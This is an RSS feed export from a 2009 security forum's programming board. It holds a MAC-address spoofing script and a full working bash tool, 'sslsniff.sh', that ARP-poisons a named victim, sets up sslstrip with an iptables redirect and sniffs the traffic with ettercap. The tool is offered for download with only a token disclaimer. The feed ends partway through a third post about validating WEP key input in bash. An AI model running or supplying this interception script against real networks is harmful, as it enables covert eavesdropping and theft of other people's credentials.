<?xml version="1.0" encoding="ISO-8859-1"?>

<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
	<channel>
		<title>Remote Exploit Forums - Programming</title>
		<link>http://forums.remote-exploit.org/</link>
		<description>A place for our community to discuss their own security related coding projects.</description>
		<language>en</language>
		<lastBuildDate>Sat, 21 Nov 2009 03:11:19 GMT</lastBuildDate>
		<generator>vBulletin</generator>
		<ttl>60</ttl>
		<image>
			<url>http://forums.remote-exploit.org/images/backtrack4/misc/rss.jpg</url>
			<title>Remote Exploit Forums - Programming</title>
			<link>http://forums.remote-exploit.org/</link>
		</image>
		<item>
			<title>shell script to change MAC address</title>
			<link>http://forums.remote-exploit.org/programming/28700-shell-script-change-mac-address.html</link>
			<pubDate>Sat, 14 Nov 2009 13:57:46 GMT</pubDate>
			<description>While I am at it figured I would post this little snippet aswell.  
I do realize there are other utilities to spoof the MAC address of devices, but I...</description>
			<content:encoded><![CDATA[<div>While I am at it figured I would post this little snippet aswell. <br />
I do realize there are other utilities to spoof the MAC address of devices, but I would rather us my own solution. (plus I was bored).<br />
<br />
General Usage:<br />
-h print help <br />
-s generate random mac address and assign it<br />
-u set mac address to what it was from the beginning<br />
<br />
ToDo:<br />
- add CLI flag to define interface<br />
- add CLI flag to manually define mac address<br />
- resolve issue with assigning the MAC, ifconfig has issues with certain mac address's not sure why yet.<br />
<br />
Download: mediafire.com/download.php?hean10e25zi<br />
Code:<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">#!/bin/bash<br />
#<br />
# Synopsis: MAC address spoofing utility<br />
# Author:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; thims (thims DOT local AT gmail DOT com)<br />
# Version:&nbsp; 0.1<br />
# Date:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 20091104<br />
# Comments: <br />
# ToDo:<br />
#&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; - figure out why certain MAC addresss cause ifconfig to exit with error (Error: could not set spoofed MAC address, possibly try running againg)<br />
<br />
<br />
# Editable variables<br />
iface=wlan0&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #desired interface<br />
origMAC=ff:ff:ff:ff:ff:ff&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #original MAC address<br />
<br />
<br />
### Code Begins ###<br />
spfMAC=<br />
alph=(0 1 2 3 4 5 6 7 8 9 A B C D E F)<br />
alph_len=${#alph[*]}<br />
<br />
<br />
function help() {<br />
cat &lt;&lt; EOF<br />
Usage: $0 [args]<br />
&nbsp; &nbsp; -h, --help&nbsp; &nbsp;  -&nbsp; Print this help and exit<br />
&nbsp; &nbsp; -s, --spoof&nbsp; &nbsp; -&nbsp; Spoof MAC address to a randomly generated address<br />
&nbsp; &nbsp; -u, --unspoof&nbsp; -&nbsp; Return spoofed MAC address to original MAC address<br />
EOF<br />
}<br />
<br />
function die() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; if [ -n &quot;$1&quot; ] ;then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &quot;$1&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; fi<br />
&nbsp; &nbsp; &nbsp; &nbsp; exit 1<br />
}<br />
<br />
function genMAC() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; for i in $(seq 6) <br />
&nbsp; &nbsp; &nbsp; &nbsp; do<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for x in $(seq 2) <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; do<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; spfMAC=${spfMAC}${alph[$((RANDOM % alph_len))]}<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; done<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; spfMAC=${spfMAC}:<br />
&nbsp; &nbsp; &nbsp; &nbsp; done<br />
&nbsp; &nbsp; &nbsp; &nbsp; spfMAC=${spfMAC:0:17}<br />
}<br />
<br />
function changeIface() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; MAC=&quot;$1&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; ifconfig $iface &amp;&gt; /dev/null<br />
&nbsp; &nbsp; &nbsp; &nbsp; if [ $? -gt 0 ] ;then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; die &quot;Error: IFACE $iface does not exist(possibly down?)&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; fi<br />
<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; ifconfig $iface down<br />
&nbsp; &nbsp; &nbsp; &nbsp; ifconfig $iface inet hw ether $MAC up &amp;&gt; /dev/null<br />
&nbsp; &nbsp; &nbsp; &nbsp; # the following if is in place because ifconfig was being picky about certain MAC addresss<br />
&nbsp; &nbsp; &nbsp; &nbsp; if [ $? -gt 0 ] ;then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; die &quot;Error: could not set spoofed MAC address, possibly try running againg&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; fi<br />
}<br />
<br />
<br />
if [ $UID -gt 0 ] ;then<br />
&nbsp; &nbsp; &nbsp; &nbsp; die &quot;Error: Sorry dude, gotta be root!&quot;<br />
fi<br />
<br />
while [ $# -gt 0 ] <br />
do<br />
&nbsp; &nbsp; &nbsp; &nbsp; case &quot;$1&quot; in<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;-h&quot;|&quot;--help&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; help<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; die<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;-s&quot;|&quot;--spoof&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; genMAC<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; changeIface $spfMAC<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;-u&quot;|&quot;--unspoof&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; changeIface $origMAC<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; help<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; die<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; esac<br />
&nbsp; &nbsp; &nbsp; &nbsp; shift<br />
done</code><hr />
</div>All feeback welcome, I would love to hear your thoughts.</div>

]]></content:encoded>
			<category domain="http://forums.remote-exploit.org/programming/">Programming</category>
			<dc:creator>thims</dc:creator>
			<guid isPermaLink="true">http://forums.remote-exploit.org/programming/28700-shell-script-change-mac-address.html</guid>
		</item>
		<item>
			<title>sslsniff.sh</title>
			<link>http://forums.remote-exploit.org/programming/28697-sslsniff-sh.html</link>
			<pubDate>Sat, 14 Nov 2009 13:47:29 GMT</pubDate>
			<description>@admins if you feel this is a duplicate post let me know and delete it I will move back to where this originated, but seeing as revisions, etc. I...</description>
			<content:encoded><![CDATA[<div>@admins if you feel this is a duplicate post let me know and delete it I will move back to where this originated, but seeing as revisions, etc. I didnt want to hijack the original post.<br />
<br />
This script is not intended for illegitimate uses, I am in no way responsible for the way you use this, or the decisions you make.<br />
<br />
This is a script I wrote for SSL sniffing.<br />
ToDO:<br />
- ensure ip_forward is always set<br />
<br />
General Usage: <br />
./sslsniff.sh -v &lt;ip of target&gt; -g &lt;ip of gateway&gt;<br />
-v and -g are the only required flags, the rest are optional.<br />
if -s is not specified sslstrip defaults to port 10000<br />
-h for help<br />
<br />
Download: mediafire.com/?nmtz2tjvuyj<br />
Code:<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">#!/bin/bash<br />
#<br />
# Synopsis:&nbsp; &nbsp; &nbsp; &nbsp; A program to sniff traffic in an SSL connection<br />
# Author:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; thims (thims DOT local AT gmail DOT com)<br />
# Version:&nbsp; &nbsp; &nbsp; &nbsp; 0.3<br />
# Date:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 20091107<br />
# Comments:&nbsp; &nbsp; &nbsp; &nbsp; <br />
#&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ToDO:<br />
<br />
<br />
# leave blank simply here for coding style<br />
victim=<br />
gateway=<br />
sslPort=10000<br />
etterConf=/etc/etter.conf<br />
<br />
# print help<br />
function help() {<br />
cat &lt;&lt; EOF<br />
Usage: $0 [args] host<br />
&nbsp; &nbsp; -h, --help&nbsp; &nbsp;  -&nbsp; Print this help and exit<br />
&nbsp; &nbsp; -i. --iface&nbsp; &nbsp; -&nbsp; Interface to use<br />
&nbsp; &nbsp; -e, --etconf&nbsp;  -&nbsp; Location of etter.conf on the filesystem<br />
&nbsp; &nbsp; -v, --victim&nbsp;  -&nbsp; IP address of desired host<br />
&nbsp; &nbsp; -g, --gateway&nbsp; -&nbsp; IP address of network gateway<br />
&nbsp; &nbsp; -s, --sslport&nbsp; -&nbsp; Desired port for sslstrip<br />
EOF<br />
}<br />
<br />
# echo supplied argument and die<br />
function die() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; if [ -n &quot;$1&quot; ] ;then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &quot;$1&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; fi<br />
&nbsp; &nbsp; &nbsp; &nbsp; exit 1<br />
}<br />
<br />
# nohup wrapper to check if specified program will execute correctly<br />
function noHup() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; cmd=&quot;$1&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; nohup $cmd &gt; /dev/null &amp;&gt; /dev/null &amp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; sleep 5<br />
&nbsp; &nbsp; &nbsp; &nbsp; # here simply to handle sslstrip because it is ran by python it throws off pidof<br />
&nbsp; &nbsp; &nbsp; &nbsp; if [ $(echo &quot;$cmd&quot; | awk -F&quot; &quot; '{print $1}') == &quot;sslstrip&quot; ] ;then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pid=$(ps ax | grep python | grep sslstrip | awk -F &quot; &quot; '{print $1}')<br />
&nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pid=$(pidof $(echo &quot;$1&quot; | awk -F&quot; &quot; '{print $1}'))<br />
&nbsp; &nbsp; &nbsp; &nbsp; fi<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; if [ -z &quot;$pid&quot; ] ;then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return 1<br />
&nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return 0<br />
&nbsp; &nbsp; &nbsp; &nbsp; fi<br />
}<br />
<br />
# poison the arp<br />
function spoofMac() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo -n &quot;Poisoning the victim....&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; noHup &quot;arpspoof &quot;$iface&quot; -t &quot;$victim&quot; &quot;$gateway&quot;&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; if [ $? -gt 0 ] ;then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; die &quot;Error: could not initiate arpspoof. Dieing...&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; fi<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo $(pidof arpspoof) &gt; /var/run/sslsniff.arpspoof.run<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;Ok&quot;<br />
}<br />
<br />
# intercept the SSL cert<br />
function sslInit() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo -n &quot;Setting up SSL intercept....&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo 1 &gt; /proc/sys/net/ipv4/ip_forward<br />
&nbsp; &nbsp; &nbsp; &nbsp; # ensure that ip_forward is set<br />
&nbsp; &nbsp; &nbsp; &nbsp; while [ $(cat /proc/sys/net/ipv4/ip_forward) == 0 ]<br />
&nbsp; &nbsp; &nbsp; &nbsp; do<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo 1 &gt; /proc/sys/net/ipv4/ip_forward<br />
&nbsp; &nbsp; &nbsp; &nbsp; done<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports &quot;$sslPort&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; noHup &quot;sslstrip -a -f -k -l &quot;$sslPort&quot;&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; if [ $? -gt 0 ] ;then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; die &quot;Error: could not initiate sslstrip. Dieing...&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; fi<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo $(ps ax | grep python | grep sslstrip | awk -F &quot; &quot; '{print $1}') &gt; /var/run/sslsniff.sslstrip.run<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;Ok&quot;<br />
}<br />
<br />
# capture the responses<br />
function capture() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; # edit ettercap.conf<br />
&nbsp; &nbsp; &nbsp; &nbsp; for linNum in $(cat &quot;$etterConf&quot; | grep -in redir | grep iptables | awk -F: '{print $1}')<br />
&nbsp; &nbsp; &nbsp; &nbsp; do<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sed -i $linNum's/#//' &quot;$etterConf&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; done<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo -n &quot;Starting to sniff....&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; ettercap -T -q &quot;$iface&quot;<br />
}<br />
<br />
# clean up enviroment<br />
function cleanUp() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;Cleaning up....&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo -n &quot;Closing SSL proxy....&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; kill $(cat /var/run/sslsniff.sslstrip.run)<br />
&nbsp; &nbsp; &nbsp; &nbsp; rm /var/run/sslsniff.sslstrip.run<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;Ok&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo -n &quot;Unpoisoning the victim....&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; kill&nbsp; -n 2 $(cat /var/run/sslsniff.arpspoof.run)<br />
&nbsp; &nbsp; &nbsp; &nbsp; rm /var/run/sslsniff.arpspoof.run<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;Ok&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo -n &quot;Removing iptables rule and ip_forwarding....&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports &quot;$sslPort&quot;&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; echo 0 &gt; /proc/sys/net/ipv4/ip_forward<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;Ok&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; # return etter.conf to the state it was found in <br />
&nbsp; &nbsp; &nbsp; &nbsp; echo -n &quot;Returning etter.conf to the configuration we found it with....&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; for linNum in $(cat &quot;$etterConf&quot; | grep -in redir | grep iptables | awk -F: '{print $1}')<br />
&nbsp; &nbsp; &nbsp; &nbsp; do<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sed -i $linNum's/^/#/' &quot;$etterConf&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; done<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;Ok&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;Have a nice day!&quot;<br />
}<br />
<br />
# initialize the whole shebang<br />
function initialize() {<br />
&nbsp; if [ -z &quot;$victim&quot; ] || [ -z &quot;$gateway&quot; ] ;then<br />
&nbsp; &nbsp; help<br />
&nbsp; &nbsp; echo<br />
&nbsp; &nbsp; die &quot;Error: a syntactical one&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &quot;Enviroment details:&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &quot;&nbsp; &nbsp; Victim:&nbsp; &nbsp; &nbsp; &nbsp;  &quot; &quot;$victim&quot; &quot;&nbsp; Ok!&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &quot;&nbsp; &nbsp; Gateway/Router: &quot; &quot;$gateway&quot; &quot;&nbsp; OK!&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &quot;&nbsp; &nbsp; Interface:&nbsp; &nbsp; &nbsp; &quot; &quot;$iface&quot; &quot;&nbsp; OK!&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &quot;&nbsp; &nbsp; SSLStrip port:&nbsp; &quot;&nbsp; &nbsp; &nbsp; &nbsp; &quot;$sslPort&quot; &quot;&nbsp; OK!&quot;<br />
<br />
&nbsp; &nbsp; spoofMac<br />
&nbsp; &nbsp; sslInit<br />
&nbsp; &nbsp; capture<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cleanUp<br />
&nbsp; fi&nbsp; <br />
}<br />
<br />
<br />
# some CLI ARGS?<br />
while [ $# -gt 0 ]<br />
do<br />
&nbsp; &nbsp; &nbsp; &nbsp; case &quot;$1&quot; in<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;-h&quot;|&quot;--help&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; help<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; die<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;-v&quot;|&quot;--victim&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; victim=&quot;$2&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;-g&quot;|&quot;--gw&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; gateway=&quot;$2&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;-s&quot;|&quot;--sslport&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sslPort=&quot;$2&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;-i&quot;|&quot;--iface&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if [ $(ifconfig &quot;$2&quot; &amp;&gt; /dev/null; echo $?) == 1 ] ;then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; die &quot;Error: interface &quot;$2&quot; does not exist!&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; iface=&quot;-i $2&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fi<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;-e&quot;|&quot;--etconf&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if [ ! -e &quot;$2&quot; ] ;then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; die &quot;Error: specified ettercap conf does not exist!&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; etterConf=&quot;$2&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fi<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; '')<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; help<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; die &quot;Error: a syntactical one&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -*)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; help<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; die &quot;Error: a syntactical one&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; esac<br />
&nbsp; &nbsp; &nbsp; &nbsp; shift<br />
done<br />
<br />
<br />
# main loop<br />
initialize</code><hr />
</div>All suggestions, comments, feedback, etc are more then welcome, I would love to hear what you thoughts are.<br />
<br />
Also I take suggestions/requests for scripts.</div>

]]></content:encoded>
			<category domain="http://forums.remote-exploit.org/programming/">Programming</category>
			<dc:creator>thims</dc:creator>
			<guid isPermaLink="true">http://forums.remote-exploit.org/programming/28697-sslsniff-sh.html</guid>
		</item>
		<item>
			<title>Validating user input in bash.</title>
			<link>http://forums.remote-exploit.org/programming/28391-validating-user-input-bash.html</link>
			<pubDate>Wed, 04 Nov 2009 21:46:19 GMT</pubDate>
			<description>Hi community 
 
I am doing some experimentations in bash script. Learning from various sites. The last time that I  do programming was since...</description>
			<content:encoded><![CDATA[<div>Hi community<br />
<br />
I am doing some experimentations in bash script. Learning from various sites. The last time that I  do programming was since Locomotive Basic.(Remember Amstard 6128 ?)<br />
<br />
I can find out a better way to validate user's inputs with read command.(please see below). I am trying to accept only those inputs from users that are meet some criteria. <br />
<br />
Like:<br />
read WEP keys --&gt; accept only (5 or 13 ascii) or (10 or 26 hex)<br />
<br />
I found a way and a really don't think is the correct one because it is &quot;command specific&quot;. With that I mean that I use the errors from a specific command (in my case iwconfig) to see if that input (key xxxx..) that I get from the user, fits to the command.<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> #!/bin/bash<br />
<br />
clear<br />
echo -n &quot;WEP Key: ?&quot;<br />
<br />
while read key; do<br />
&nbsp; &nbsp;  if [ -z &quot;${key}&quot; ]; then<br />
&nbsp; &nbsp; &nbsp; &nbsp; clear&nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;That was empty, do it again!&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo -n &quot;WEP Key: ?&quot;<br />
&nbsp; &nbsp;  else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &quot;Checking now...&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break<br />
&nbsp; &nbsp;  fi<br />
